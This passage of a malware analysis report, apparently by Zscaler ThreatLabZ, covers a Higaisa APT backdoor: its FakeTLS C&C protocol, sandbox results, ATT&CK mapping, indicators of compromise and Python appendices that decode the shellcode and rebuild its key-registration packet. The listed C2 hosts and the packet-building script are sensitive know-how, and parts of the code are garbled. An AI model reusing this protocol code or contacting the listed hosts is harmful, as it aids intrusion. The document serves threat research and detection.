int DataSize	216	9h	4h	Fg:	Bg:
char SystemId[34]	yQHr18bYQKG8x	Dh	22h	Fg:	Bg:
char Padding[2]		2Fh	2h	Fg:	Bg:
struct data data_bytes		31h	D8h	Fg:	Bg:
byte hash[72]	Ô∏ŒÙ�	31h	48h	Fg:	Bg:
byte encrypted_hash[144]	ì¡?7e[]	79h	90h	Fg:	Bg:

*Figure 18: The packet structure containing the FakeTLS header and custom format used for C&C communication.* 

Other messages contain encrypted data right after the TLS header.

# **C&C** communication

The shellcode creates two more threads that work together to handle the commands exchanged between the backdoor and the C&C server.

Below are the main steps used by the C&C command handler:

- IT creates a dispatch thread that will handle the commands posted to it by the worker thread.
- The dispatch thread creates a message queue using the PeekMessageW() API.
- The worker thread sends the message ID along with the command buffer to the message queue using PostThreadMessageW() API.
- Once a message is posted to the dispatch thread by the worker thread, it is retrieved using the GetMessageW() API. This message will be dispatched to the appropriate command handler based on the ID of the message as detailed below.

There are two sets of command IDs. One of them corresponds to commands from client to server and the other set corresponds to commands from server to client. Corresponding to each command, there is a size of the command.

As an example,

Client to server: The command ID 0x65 corresponds to the backdoor registering the system ID (calculated using UUID) with the C&C server and the cryptographic session key as shown in Figure 18 above.

Server to client: The command ID 0x64 is used to receive the encryption key that will be used by the client to encrypt the data sent to the server.

At the time of analysis, since the C2 server was not responding, we cannot conclusively determine the commands that were supported by this backdoor.

# **Zscaler Cloud Sandbox detection**

Figure 19 shows the Zscaler Cloud Sandbox successfully detecting this LNK-based threat.

CLASSIFICATION Class Type Threat Score Malicious 76 Malware & Botnet NETWORKING	VIRUS AND MALWARE	SECURITY BYPASS 55 • Found WSH Timer For Javascript Or VBS Script • May Try To Detect The Virtual Machine To Hinder Analysis
Class Type Threat Score Malicious 76 Malware & Botnet	No known Malware found	<ul> <li>Found WSH Timer For Javascript Or VBS Script</li> <li>May Try To Detect The Virtual Machine To Hinder Analysis</li> </ul>
NETWORKING		
<ul> <li>URLs Found In Memory Or Binary Data</li> </ul>	STEALTH 53	SPREADING
	<ul> <li>Disables Application Error Messages</li> </ul>	No suspicious activity detected
INFORMATION LEAKAGE	EXPLOITING	PERSISTENCE
		Windows Shortcut File Starts Blacklisted Processes     Creates Temporary Files
No suspicious activity datacted	No suspicious activity detected	Drops PE Files

Figure 19: The Zscaler Cloud Sandbox detection.

In addition to sandbox detections, Zscaler's multilayered cloud security platform detects indicators at various levels:

LNK.Dropper.Higaisa

# Conclusion

This new instance of attack from the Higaisa APT group shows that they are actively updating their tactics, techniques and procedures (TTPs) and incorporating new backdoors with evasion techniques. The network communication protocol between the backdoor and the C&C server is deceptive and complex, which was designed to evade network security solutions.

Users are advised to take extra precaution while opening LNK files sent inside email attachments. LNK files can have the file icon of legitimate applications, such as Web browsers or PDF reader applications, so the source of the files should be verified before opening them.

The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe.

Tactic	Technique
T1193 - Spearphishing Attachment	LNK files delivered inside RAR archives as an email attachment
T1059 - Command-Line Interface	Commands run using cmd.exe to extract and run payload
T1204 - User Execution	LNK file is executed by user double click
T1064 - Scripting	Use of Visual Basic scripts
T1060 - Registry Run Keys / Startup Folder	Copies executable to the startup folder for persistence
T1053 - Scheduled Task	Creates scheduled task named "Driver Bootser Update" for persistence
T1027 - Obfuscated Files or Information	Parts of shellcode and its configuration is encrypted using XOR encryption algorithm
T1140 - Deobfuscate/Decode Files or Information	Decodes configuration at runtime

# **MITRE ATT&CK TTP Mapping**

T1036 - Masquerading	Masquerades as legitimate documents, has embedded decoy documents
T1033 - System Owner/User Discovery	Discovers username using GetUserNameA
T1016 - System Network Configuration Discovery	Discovers network configuration using GetAdaptersInfoA
T1082 - System Information Discovery	Discovers various information about system i.e. username, computername, os version, etc
T1094 - Custom Command and Control Protocol	Uses custom protocol mimicking TLS communication
T1043 - Commonly Used Port	Uses port 443
T1090 - Connection Proxy	Discovers system proxy settings and uses if available
T1008 - Fallback Channels	Has code to communicate over UDP in addition to TCP
T1132 - Data Encoding	Uses base64 for encoding UUID
T1032 - Standard Cryptographic Protocol	Uses AES-128 to encrypt network communications
T1095 - Standard Non- Application Layer Protocol	Communicates over TCP
T1002 - Data Compressed	Can use LZNT1 compression
T1022 - Data Encrypted	Uses AES-128 for data encryption
T1020 - Automated Exfiltration	Automatically sends system information to CnC based on configuration and CnC commands

T1041 - Exfiltration Over Command and Control Channel

# Indicators of Compromise (IOCs)

#### LNK file MD5 hashes

21a51a834372ab11fba72fb865d6830e

aa67b7141327c0fad9881597c76282c0

c657e04141252e39b9fa75489f6320f5

45278d4ad4e0f4a891ec99283df153c3

997ab0b59d865c4bd63cc55b5e9c8b48

4a4a223893c67b9d34392670002d58d7

#### LNK file names

International English Language Testing System certificate.pdf.lnk

Tokbox icon - Odds and Ends - iOS - Zeplin.lnk

20200308-sitrep-48-covid-19.pdf.lnk

Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk

Conversations - iOS - Swipe Icons - Zeplin.Ink

#### HTTP POST requests to register the bot

hxxp://sixindent[.]epizy[.]com/inter.php

hxxp://goodhk[.]azurewebsites[.]net/inter.php

hxxp://zeplin[.]atwebpages[.]com/inter.php

#### HTTP GET request to C&C server

hxxps://comcleanner[.]info/msdn.cpp

hxxps://45[.]76[.]6[.]149/msdn.cpp

### Appendix I

#### Anti-debugging hash computation

# Hash of code section before decryption should be equal to 0x733C7595

# Hash of code section after decryption should be equal to 0x6621A914

# read the shellcode contents

```
contents = open("shellcode.bin", "rb").read()
```

# x86 ROR instruction re-written in Python

```
ror = lambda val, r_bits, max_bits: \
```

((val & (2**max_bits-1)) >> r_bits%max_bits) | \

(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))</pre>

# x86 movsx instruction re-written in Python

def SIGNEXT(x, b):

m = 1 << (b - 1)

```
x = x & ((1 << b) - 1)
```

return (x ^ m) - m

# limit = length of code section used for hash calculation

# First 0xcb06 bytes are used to calculate the hash

for i in range(0xcb06):

```
result = ror(result, 0xa, 32)
```

t = SIGNEXT(ord(contents[i]), 8) & 0xffffffff

result += t

```
result = result & 0xfffffff
```

print "final hash is: %x" %(result)

### Appendix II

#### XOR decryption code to extract plaintext strings and C&C server address

import binascii, struct, sys

```
# read the contents of shellcode
contents = open(sys.argv[1], "rb").read()
# XOR decrypt the strings
def decrypt_data(encrypted, key):
decrypt = ""
for i in range(len(encrypted)):
db = encrypted[i]
```

```
kb = key[i % len(key)]
```

```
if(type(kb) == type("")):
```

kb = ord(kb)

```
if(type(db) == type("")):
```

db = ord(db)

```
decrypt += chr(db ^ kb)
```

return decrypt

```
def extract_c2(contents):
```

```
key = contents[0xcb0e:0xcb1e]
```

```
encrypted = contents[0xcb1e:]
```

decrypt = ""

```
decrypt = decrypt_data(encrypted, key)
```

```
return "{}:{}".format(decrypt[432:].split("\x00")[0],struct.unpack("<h",decrypt.encode() [422:424])[0])
```

print("==C2 Server==\n{}\n".format(extract_c2(contents)))

# Encrypted data is present at offset, 0xacc0 and has a total length of 0x12b0

encrypted = contents[0xacc0:0xacc0+0x12b0]

```
#16-byte XOR key
```

key = [0xE4, 0xFD, 0x23, 0x99, 0xA3, 0xE1, 0xD3, 0x58, 0xA6, 0xCC, 0xDB, 0xE8, 0xF2, 0x91, 0xD2, 0xF8]

```
print("==Strings==")
```

for item in decrypt_data(encrypted, key).split("\x00"):

if item:

print(item)

### Appendix III

### Script to generate AES key message

from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptImportKey, CryptExportKey, CryptGetHashParam, CryptDecrypt

from wincrypto.constants import CALG_SHA1, CALG_AES_256, bType_SIMPLEBLOB, CALG_AES_128, CALG_MD5

import binascii, base64, struct, uuid

### Hash functions ###

```
ror = lambda val, r_bits, max_bits: \
```

```
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
```

```
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))</pre>
```

# x86 movsx instruction re-written in Python

def SIGNEXT(x, b):

```
m = 1 << (b - 1)
```

```
x = x & ((1 << b) - 1)
```

```
return (x ^ m) - m
```

def get_hash(uuid1):

result = 0

for i in range(len(uuid1)):

result = ror(result, 0xa, 32)

```
t = SIGNEXT(uuid1[i], 8) & 0xfffffff
```

result += t

result = result & 0xffffffff

return result

### UUID convert from bytes to base64 ###

uuid0 = uuid.uuid4().bytes

```
uuid0_wh = uuid0 + b"\x00\x00\x00" + struct.pack("<I",get_hash(uuid0))#hash of uuuid1
```

```
uuid0_enc = base64.b64encode(uuid0_wh) + b"\x0d\x0a" #append "\r\n" added by windows
API
```

### Derive key from UUID ####

#Generate uuid

uuid1 = str(uuid.uuid4())

#Append NULL bytes to make length equal to 0x48

```
data = uuid1 + (b"\x00" * (0x48 - len(uuid1)))
```

#Generate MD5 hash

```
hasher = CryptCreateHash(CALG_MD5)
```

CryptHashData(hasher, data)

uuid1_md5 = CryptGetHashParam(hasher,0x2)

#Append NULL bytes to md5 and again generate md5 hash to make length equal to 0x48

uuid1_md5_md5 = uuid1_md5 + (b"\x00" * (0x48 - len(uuid1_md5)))

hasher = CryptCreateHash(CALG_MD5)

CryptHashData(hasher, uuid1_md5_md5)

#Derive AES key

aes_key = CryptDeriveKey(hasher, CALG_AES_128)

#Encrypt Send MD5 hash using AES

encrypted_hash = CryptEncrypt(aes_key, uuid1_md5_md5)

#append more NULL bytes to Encrypted hash to make length 0x90

encrypted_hash_padded = encrypted_hash + (b"\x00" * (0x90 - len(encrypted_hash)))

#Again use encrypted hash to calculate its md5 and derive new AES key

hasher = CryptCreateHash(CALG_MD5)

CryptHashData(hasher, encrypted_hash_padded)

aes_key = CryptDeriveKey(hasher, CALG_AES_128)

#generate message buffer to send to server to register key

fake_tls_header = b''x17x03x01''

buffer = client_key_message_header + uuid0_enc + b"\x00\x00" + uuid1_md5_md5 + encrypted_hash_padded

buffer = fake_tls_header + struct.pack(">h", len(buffer)) + buffer

binascii.hexlify(buffer)

len(buffer)

#### Appendix IV

#### Decrypted strings from the shellcode

https://www.google.com

WinHTTP /1.1

GET /msdn.cpp

\Device\Afd

https://msdn.microsoft.com

https://github.com

https://www.google.com

https://

jsproxy.dll

InternetInitializeAutoProxyDII

InternetDeInitializeAutoProxyDllInternetGetProxyInfo

DIRECT

szFmt:%dszS:%s

szWS:%ws

szD:%d

szP:%p

szX:%x

szN:%d

Init Error:%d

connect

_CbConnect Over

ikcp_udp

recv in

Uninstall module:%d

InitModule:%d

ContentLength :%d

szHttpRecv :%d

10.0.0.49

szTunnel

Proxip:%s

Proxport:%d

CurProxlp:%s

CurProxPort:%d

leProxy ip:%s

port:%d

type:%d

ProxyNumber:%d

GET

POST

http://%s/../...

%s..%d

200 OK

Host:

Content-Length:

Connection: Keep-Alive

HTTP/1.0

HTTP/1.1Authorization: Basic

DELETE

news

QUERY

SUBMIT

en-us/msdn

library

?hl=en-US

?wd=http

?lan=ja-jp

10.0.0.208

cbreover

dispatch

### Appendix V

### Structure of packet containing AES key

struct Packet {

struct FakeTls {

struct AppDataHeader{

byte tls_header_app_data_constant;

byte tls_version_major;

byte tls_version_minor;

} tls_app_data_header ;

ushort PacketSize;

} FakeTIsHeader ;

struct PacketData {

int Command ; //(0x65 Client to Server 0x64 Server to Client) AES key

int DataSize;

char SystemId[0x22];

char Padding[2];

byte data[DataSize] ;

} command ;

} packet;